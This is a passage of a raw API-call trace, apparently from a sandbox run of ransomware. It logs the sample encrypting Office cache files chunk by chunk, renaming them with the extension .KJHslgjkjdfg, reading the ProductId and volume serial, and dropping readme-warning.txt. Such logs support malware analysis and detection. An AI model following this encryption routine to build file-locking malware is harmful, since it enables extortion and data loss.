hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.909] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x650, lpOverlapped=0x0) returned 1 [0135.909] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.909] SetEndOfFile (hFile=0x124) returned 1 [0135.911] GetProcessHeap () returned 0x2a0000 [0135.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.911] GetProcessHeap () returned 0x2a0000 [0135.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.911] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0135.917] CloseHandle (hObject=0x124) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0135.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.918] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=17456632) returned 1 [0135.918] GetProcessHeap () returned 0x2a0000 [0135.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.918] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.918] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.918] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.922] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.922] GetProcessHeap () returned 0x2a0000 [0135.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.922] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.922] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.922] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.922] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.922] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.922] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.922] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.922] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.923] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.933] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.935] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.935] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.936] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.937] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.943] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.946] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.947] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.947] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.954] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.957] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.958] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.958] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.958] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.958] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.958] SetEndOfFile (hFile=0x124) returned 1 [0135.961] GetProcessHeap () returned 0x2a0000 [0135.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.961] GetProcessHeap () returned 0x2a0000 [0135.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.961] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.kjhslgjkjdfg")) returned 1 [0135.962] CloseHandle (hObject=0x124) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.962] GetProcessHeap () returned 0x2a0000 [0135.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.963] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xc, lpOverlapped=0x0) returned 1 [0135.965] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.965] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.965] GetProcessHeap () returned 0x2a0000 [0135.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.965] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0135.965] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.965] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.966] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.966] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.966] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.966] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x7c4, lpOverlapped=0x0) returned 1 [0135.966] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x7d0) returned 1 [0135.966] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x7d0, lpOverlapped=0x0) returned 1 [0135.967] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.967] SetEndOfFile (hFile=0x124) returned 1 [0135.969] GetProcessHeap () returned 0x2a0000 [0135.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.969] GetProcessHeap () returned 0x2a0000 [0135.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.969] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0135.970] CloseHandle (hObject=0x124) returned 1 [0135.970] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.970] GetProcessHeap () returned 0x2a0000 [0135.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.970] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0135.970] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.970] GetProcessHeap () returned 0x2a0000 [0135.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.970] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0135.970] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.970] GetProcessHeap () returned 0x2a0000 [0135.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0135.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.970] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0135.970] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.970] GetProcessHeap () returned 0x2a0000 [0135.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.971] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0135.971] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.971] GetProcessHeap () returned 0x2a0000 [0135.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.971] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.971] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0135.971] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.971] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0135.971] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0135.971] RegCloseKey (hKey=0x124) returned 0x0 [0135.971] GetProcessHeap () returned 0x2a0000 [0135.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.971] GetProcessHeap () returned 0x2a0000 [0135.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.971] GetProcessHeap () returned 0x2a0000 [0135.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.971] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.971] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0135.971] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.971] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.971] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.972] GetProcessHeap () returned 0x2a0000 [0135.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.972] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.972] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.972] GetProcessHeap () returned 0x2a0000 [0135.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0135.972] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0135.972] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.972] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0135.974] CloseHandle (hObject=0x124) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 [0135.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 [0135.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 [0135.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 [0135.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.974] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 [0135.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0135.974] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0135.974] GetProcessHeap () returned 0x2a0000 